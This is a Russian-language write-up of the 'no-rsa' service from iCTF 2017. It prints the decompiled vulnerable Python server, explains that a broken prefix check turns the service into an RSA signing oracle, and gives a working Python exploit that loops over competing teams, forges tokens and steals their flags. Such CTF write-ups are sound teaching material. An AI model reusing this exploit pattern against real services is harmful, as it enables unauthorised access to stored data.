Разбор заданий iCTF 2017: часть вторая

Специально для CTF News Алексей Родионов из Университета Иннополис продолжает серию публикаций с разбором сервисов iCTF 2017. Первую часть с рассказом о соревнованиях читайте по ссылке.

Разбор сервисов

Получаем список таковых через команду t.get_service_list() Получаем ответ в JSON-объекте в формате:

{
    u'flag_id_description': '
    u'description': u'',
    u'service_name': u'',
    u'team_id': 0,
    u'state': u'',
    u'upload_id': 4,
    u'authors': u'',
    u'service_id': 1000N,
    u'port': 2000N
},

И так далее…

no-rsa

Для начала разберём сервис, который мы раскопали первым. Это no-rsa. flag_id — это поле, которое позволяет нам идентифицировать, какой именно флаг необходимо получить. Здесь это название блокнота. Текст в нём — флаг. Описание сервиса следующее: «Безопасно ли хранить ваши записи только используя RSA?».

Это обычный tcp-сервер. Подключаемся по netcat для тестирования функционала. Вот окно приветствия:

Hi! Welcome to our note storage system. It's based on RSA!
What do you want to do?
1. Write a Note -> Type W
2. Reading a specific note? -> Type R
3. Request for a signature of your integer? -> Type S

W — пишет введённый текст в случайно-созданный файл и подписывает его алгоритмом RSA. В файле хранятся незашифрованный текст и подпись. В ответ выводит название файла + текст подписи (token).

R — считывает контент из файла. Принимает на вход название файла + токен.

S — возвращает token для введённого целочисленного типа данных.

Итак. Мы можем записать какой-то текст, прочитать его, а также подписать наш текст «цифровой подписью». Как работает алгоритм RSA, вы можете подробно почитать на Википедии.

Этот сервис был написан на Python (понятно по расширению файла .pyc), его с легкостью можно было преобразовать из байт-кода обратно в удобочитаемый вид. Так и сделали, смотрим в него (для тех, кто любит красиво - на pastebin.com.

#Embedded file name: src/no-rsa.py
import os
import sys
import json
import random
import string
from Crypto.PublicKey import RSA
N = None
P = None
Q = None
PHI = None
E = 65537
D = None
FILE_DIR = 'files'

def service():
    print "Hi! Welcome to our note storage system. It's based on RSA!"
    print 'What do you want to do?'
    print '1. Write a Note -> Type W'
    print '2. Reading a specific note? -> Type R'
    print '3. Request for a signature of your integer? -> Type S'
    sys.stdout.flush()
    cmd = raw_input()
    if cmd == 'W':
        write_note()
    elif cmd == 'R':
        read_note()
    elif cmd == 'S':
        sign()


def generate_random_note_id():
    return '1111' + ''.join((random.choice(string.digits) for x in range(36)))


def sign():
    global E
    global N
    print 'Here is our public key (you need them in order to verify the signature): N E'
    print N, E
    print 'Please type: number!'
    print "We don't sign integers starting with for consecutive ones!"
    sys.stdout.flush()
    number = raw_input()
    if len(number) >= 3 and number[0:3] == '1111':
        print 'We told you! we will not sign integers starting with for consecutive ones!'
        sys.stdout.flush()
    else:
        if number.isdigit():
            s = dec(int(number))
            print 'The signature: '
            print s
            sys.stdout.flush()
            return s
        print 'Not a number!'
        sys.stdout.flush()


def read_note():
    print 'Please type: note_id token'
    sys.stdout.flush()
    note_id, token = raw_input().split(' ', 2)
    try:
        with open('{}/{}'.format(FILE_DIR, note_id)) as f:
            json_data = json.load(f)
            real_token = json_data['token']
            content = json_data['content']
    except Exception as e:
        print 'wrong note_id!'
        sys.stdout.flush()
        return

    if token != real_token:
        print 'Wrong token!'
        sys.stdout.flush()
        return
    print 'Note content: ', content
    sys.stdout.flush()


def write_note():
    while True:
        note_id = generate_random_note_id()
        if not os.path.isfile(note_id):
            break

    print 'Please type: content (in just one line)'
    sys.stdout.flush()
    content = raw_input()
    token = str(dec(int(note_id)))
    with open('{}/{}'.format(FILE_DIR, note_id), 'wx') as f:
        json.dump({'token': token,
         'content': content}, f)
    print 'Your note is safe with us! You can retrieve it later by these information: note_id token'
    print note_id, token
    sys.stdout.flush()


def enc(x):
    return modpow(x, E, N)


def dec(c):
    global D
    return modpow(c, D, N)


def modpow(a, b, m):
    result = 1
    a = a % m
    while b > 0:
        if b % 2 == 0:
            a = a * a % m
            b = b / 2
        else:
            result = result * a % m
            b = b - 1

    return result

def initialize_rsa_credentials():
    global PHI
    global E
    global D
    global N
    global Q
    global P
    if os.path.isfile('rsa.txt'):
        with open('rsa.txt') as rsa_data:
            rsa_credentials = json.load(rsa_data)
            N = rsa_credentials['N']
            P = rsa_credentials['P']
            Q = rsa_credentials['Q']
            PHI = rsa_credentials['PHI']
            E = rsa_credentials['E']
            D = rsa_credentials['D']
            return
    key = RSA.generate(1024, e=E)
    N = getattr(key.key, 'n')
    P = getattr(key.key, 'p')
    Q = getattr(key.key, 'q')
    D = getattr(key.key, 'd')
    PHI = (P - 1) * (Q - 1)
    with open('rsa.txt', 'w') as file:
        json.dump({'N': N,
         'P': P,
         'Q': Q,
         'E': E,
         'D': D,
         'PHI': PHI}, file)

def make_file_dir():
    if not os.path.isdir(FILE_DIR):
        os.makedirs(FILE_DIR)

if __name__ == '__main__':
    initialize_rsa_credentials()
    make_file_dir()
    service()

В чём была уязвимость? Путём долгого чтения кода сверху вниз, снизу вверх, наискосок и т.д. было обнаружено интересное условие, а именно то, что система якобы не обрабатывает числа, начинающиеся на «1111»:

if len(number) >= 3 and number[0:3] == '1111':
        print 'We told you! we will not sign integers starting with for consecutive ones!'

Данное условие никогда не выполнится, т.к. number[0:3] — это первые 3 символа и они никогда не будут равны четырём. Зачем нам нужно выполнять эту команду? number — это наш flag_id, который шифруется по алгоритму RSA во время добавления записи на сервис, сервис возвращает переменную token. Она нужна для получения доступа к уже зашифрованному блокноту.

    token = str(dec(int(note_id)))
    with open('{}/{}'.format(FILE_DIR, note_id), 'wx') as f:
        json.dump({'token': token,
         'content': content}, f)

Итак, алгоритм действий такой:

  1. Подключаемся к серверу по TCP.

  2. Мы имеем flag_id — это наше имя файла, который хранится на сервере.

  3. Мы можем узнать «цифровую подпись файла», запустив команду S(ign). Вводим наш flag_id — получаем подпись.

  4. Теперь мы можем прочитать данный файл, т.к. знаем его токен для проверки. Вводим R(ead) и в качестве параметров передаём flag_id и полученный token из п.2.

Так происходит считывание из файла:

    with open('{}/{}'.format(FILE_DIR, note_id)) as f:
        json_data = json.load(f)
        real_token = json_data['token']
        content = json_data['content']

    if token != real_token:
        print 'Wrong token!'
        sys.stdout.flush()
        return
    print 'Note content: ', content

Итого, мы получили содержимое файла — а это наш флаг. Теперь можно засылать его на сервер жюри!

Код эксплойта на языке Python (на pastebin):

from ictf import iCTF
import json
import socket
i = iCTF()
t = i.login('MAIL', 'PASSWORD')

while 1:
    tmp = t.get_targets(10004)# получаем список команд
    for team in tmp['targets']:
        try:
            conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            conn.settimeout(2)
            conn.connect((team['hostname'], team['port']))
            conn.recv(1024)
            conn.send(b'Sn')
            conn.recv(1024)
            conn.send(str.encode('%sn' % team['flag_id']))
            data = conn.recv(1024).decode('utf-8')
            conn.close()
            if "The signature" in data:
                lines = data.split('n')
                conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                conn.settimeout(2)
                conn.connect((team['hostname'], team['port']))
                conn.recv(1024)
                conn.send(b'Rn')
                conn.recv(1024).decode('utf-8')
                conn.send(str.encode('%s %sn' % (team['flag_id'], lines[1])))
                data = conn.recv(1024).decode('utf-8')
                s = t.submit_flag(list(data))
                print('Success - %s %s' % (data, s))
                conn.close()
            else:
                print('Bad team - {}'.format(team['team_name']))
            conn.close()
        except Exception:
            continue
            conn.close()

Для наглядного отображения воспользуемся сниффером Wireshark. Так выглядит сетевое взаимодействие (синий — сервер, красный — мы):

wireshark log

Крайне просто и удобно. Сервис был заовнен буквально за 2 часа.

Через пару дней мы разберём ещё один сервис, написанный на Python - flasking_unicorns. Следите за новостями, вопросы можно задавать Алексею в Telegram